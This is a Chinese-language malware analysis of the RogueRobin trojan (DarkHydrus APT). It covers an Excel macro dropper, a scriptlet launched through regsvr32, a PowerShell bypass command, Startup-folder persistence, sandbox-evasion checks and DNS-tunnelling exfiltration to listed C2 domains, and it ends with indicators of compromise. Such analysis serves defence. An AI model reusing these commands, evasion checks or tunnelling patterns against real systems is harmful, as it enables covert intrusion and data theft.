RogueRobin木马深度分析(DarkHydrus APT)
2023-6-17 14:47:52 Author: Ots安全(查看原文) 阅读量:25 收藏

第一阶段:Excel文档【Dropper】

MD5: 8DC9F5450402AE799F5F8AFD5C0A8352
该恶意软件的第一阶段是一个带有 的 excel 文档macro,它要求单击Enable Content以运行宏,该文档不包含任何数据(不太令人信服)。

要查看宏,请从“开发人员”选项卡(“文件”->“选项”->“自定义功能区”->“开发人员复选框”),单击“Visual Basic”,您可以看到宏。

宏首先写入一个长的powershell脚本%TEMP%\WINDOWSTEMP.ps1,然后写入一个SCT脚本%TEMP%\12-B-366.txt。

<?XML version="1.0"?><scriptlet>    <registration progid = "PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >        <script language="JScript">            <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("" + powershell_command + "", 0, true); ]]></script>    </registration></scriptlet>

最后,它使用以下命令运行此 SCT 脚本:

regsvr32.exe /s /n /u /i: %TEMP%\12-B-366.txt scrobj.dll

SCT 脚本将运行一个 powershell 命令,该命令执行写入临时文件夹的 powershell 脚本:

powershell.exe -noexit -exec bypass -File %TEMP%\WINDOWSTEMP.ps1
powershell 脚本包含一个大的 base64 字符串,该字符串经过解码和 Gzip 解压缩,然后写入
%APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe

并执行。

最后,它在名称下的启动文件夹中创建了此可执行文件的快捷方式

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk

(一种实现持久性但很容易检测到的方法)。

所以链的工作原理如下:

SCT脚本   -运行->   Powershell脚本   -删除->   最终可执行文件

第二阶段:.NET 可执行文件

MD5: 039BD47F0FDB6BB7D68A2428C71F317D
恶意软件代码没有被混淆,这非常有帮助。
首先,恶意软件会检查sandboxEvision_controler变量,如果它是真的(在这个样本中没有),它会尝试一些沙盒规避技术,然后它会进入主要功能。
沙盒规避
  • 检查 Windows BIOS 版本是否SMBIOSBIOSVERSION包含以下任何字符串
VBOXbochsqemuVirtualBoxVM
  • 检查是否win32_computersystem匹配VMware
  • 检查是否TotalPhysicalMemory < 2900000000 bytes
  • 检查是否NumberOfProcessorCores < 1
  • 检查是否有Wireshark任何Sysinternals进程正在运行
  • 检查是否有任何附加的调试器
  • 如果这些条件中的任何一个为真,恶意软件就会退出。



持久链接

在沙盒规避之后,恶意软件会检查hasStartup变量,如果它是真的(这不是在这个样本中),它会把它自己复制到%APPDATA%\OneDrive.exe并在名称下的启动文件夹中创建一个快捷方式OneDrive.lnk。
此步骤已由 powershell 脚本完成,该脚本解释了为什么将变量hasStartup设置为 false。

C2 通信

DNS Tunneling该恶意软件使用一种称为利用 DNS 请求发送和接收数据的技术(通常 DNS 请求不会被防火墙过滤,这使得该技术非常强大)。

C2 Domains:    0ffice365.agency    0nedrive.agency    corewindows.agency    microsoftonline.agency    onedrive.agency    sharepoint.agency    skydrive.agency    0ffice365.life    0ffice365.services    skydrive.services

恶意软件首先使用以下命令刷新 DNS 缓存:

ipconfig /flushdns

然后它循环遍历 C2 域并向每个域发送 DNS 查询,它具有三种变体或模式:

normal request:       nslookup.exe -q={DNS_quest_type} {id}.{domain_name}ac mode is enables:   nslookup.exe -timeout=5 -q={DNS_quest_type} {id}.ac.{domain_name}debugger is attached: nslookup.exe -timeout=5 -q={DNS_quest_type} 676f6f646c75636b.ac.{domain_name}

有趣的是,如果我们解码676f6f646c75636b(附加调试器时增加的值),我们得到值goodluck,恶意软件作者试图与分析师开玩笑:)

以下是恶意软件可能使用的 DNS 查询类型:

DNS query types:    MX    TXT    A    AAAA

通过调用然后将进程 ID 转换为具有以下替换的字符串来id生成请求:GetCurrentProcess()

0 --> h1 --> i2 --> j3 --> k4 --> l5 --> m6 --> n7 --> o8 --> p9 --> q
在这种情况下,进程 id was 3206which 转换为kjnh,id 以 the 为前缀request_typewhich is eithera,b,c or d并且comm_model附加到 id 的末尾,它只是字母“c”。
连接示例:

如果响应包含这些字符串中的任何一个,查询函数将返回“cancel”:

216.58.192.1742a00:1450:4001:81a::200e2200::download.microsoft.comntservicepack.microsoft.comwindowsupdate.microsoft.comupdate.microsoft.com

如果响应包含这些字符串中的任何一个,查询函数将移动到下一个域:

timeoutUnKnown canUnspecified error

如果响应包含这些字符串中的任何一个,查询函数将返回 DNS 响应并退出:

canonical namemxnamerservermail serveaddress
获得响应后,恶意软件将其传递给magic()带有两个参数的函数:DNS 响应和状态,状态可以是以下字符串之一:
getjobhavejobgetid

在此阶段,恶意软件通过getid获取长度为 2 的唯一 ID,如果响应无效,则返回的 ID 设置为“0”。

在遍历所有域后,恶意软件检查 id 的长度是否为 2(这表明它已成功连接到其中一个 C2 域),如果不是,则恶意软件再次循环遍历 C2 域,但值加倍waiting。初始等待值为120 毫秒,最大允许值为7200 毫秒(这意味着它只能循环6次)。
如果连接成功,恶意软件将计算机信息连同连接结果发送到C2服务器,计算机信息包括:内网IP、主机名、域名、用户名,如果当前用户是admin,以及一些恶意软件配置变量。它应该是这样的:
10.0.2.15|IEuser-PC|WORKGROUP|IEuser|01|0|0|1|1|0|cs
在这里我们可以看到使用 DNS 隧道将数据发送到spliting()负责发送数据的函数中的 C2 服务器,首先它通过获取[min_query_size, max_query_size]之间的随机值来确定块大小,在这个样本中是[ 30, 32]然后它以 的形式在 DNS 请求中发送它data.domain。
请注意,子域的最大长度不能超过63 个字符,这就是数据被分成块的原因。

接收命令

恶意软件每秒查询一次 C2 服务器,它使用这些正则表达式提取命令:

Address:\\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})Address:\\s+\\d+.\\d+.\\d+.\\d+Address:\\s+40.112.(\\d+.\\d+)\\s(\\w{3}).(domain_1|domain_2|...|domain_n)

如果恶意软件收到一个新命令,它会启动一个新线程来执行它:


以下是命令列表:


Google Drive 作为替代 C2 (x_mode)

该恶意软件有一种模式,x_mode可以使用 Google Drive 作为 C2 服务器,默认情况下禁用该模式,可以通过从其中一台 C2 DNS 服务器接收命令来启用。

我们可以看到这个 x_mode 的一些配置变量,让我们一一查看:
gdu:
这是用于下载数据的 Google Drive URL。

gduu:
这是用于上传数据的Google Drive URL,你可以看到UploadData()调用了两次。第一次用新建文件file_name,第二次是上传文件content到新建的文件中。


gdo2t:
这是用于获取 OAUTH 2 访问令牌的 Google 云端硬盘 URL。这是授权对 Google Drive API 的请求所必需的。
client_id、cs、r_t:
客户端 ID、客户端密码和刷新令牌。这三个变量用于访问令牌的请求。


现在我们知道了每个配置变量的用法,让我们深入研究从 Google Drive 通信和接收命令的过程。



恶意软件做的第一件事是获取一个 API 访问令牌,然后检查f_id它是否为空,它会上传一个名称{process_id}.txt为the encoded process_id . current_C2_domain.
之后,它存储这个文件modification_time并上传另一个名称{process_id}-U.txt为process_id.
如果这些操作中的任何一个返回错误而不是有效的文件 ID,恶意软件就会删除这两个文件并再次循环以重复该过程。

最后一步是恶意软件将文件{process_id}.txt修改时间与存储的修改时间进行比较,如果不相同,它会下载新的文件内容(新的攻击者命令)并更新修改时间。然后它通过与 DNS 隧道相同的解析和命令提取技术。
这结束了这个分析。

IOC

哈希值第一阶段:8DC9F5450402AE799F5F8AFD5C0A8352第二阶段:039BD47F0FDB6BB7D68A2428C71F317D
文件%TEMP%\WINDOWSTEMP.ps1
%TEMP%\12-B-366.txt
%APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk

C2通信0ffice365[.]agency0nedrive[.]agencycorewindows[.]agencymicrosoftonline[.]agencyonedrive[.]agencysharepoint[.]agencyskydrive[.]agency0ffice365[.]life0ffice365[.]servicesskydrive[.]services

参考:

  • https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling

  • https://blog.centurylink.com/ismdoor-malware-continues-to-make-use-of-dns-tunneling


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247498890&idx=3&sn=bb6a4bc804067a95fc9c1f5f1c38a23a&chksm=9badb5c1acda3cd7338af6d190b1974c466dbbb7964c7cdd6f860a00b858ffbdcbc0726107ff#rd
如有侵权请联系:admin#unsafe.sh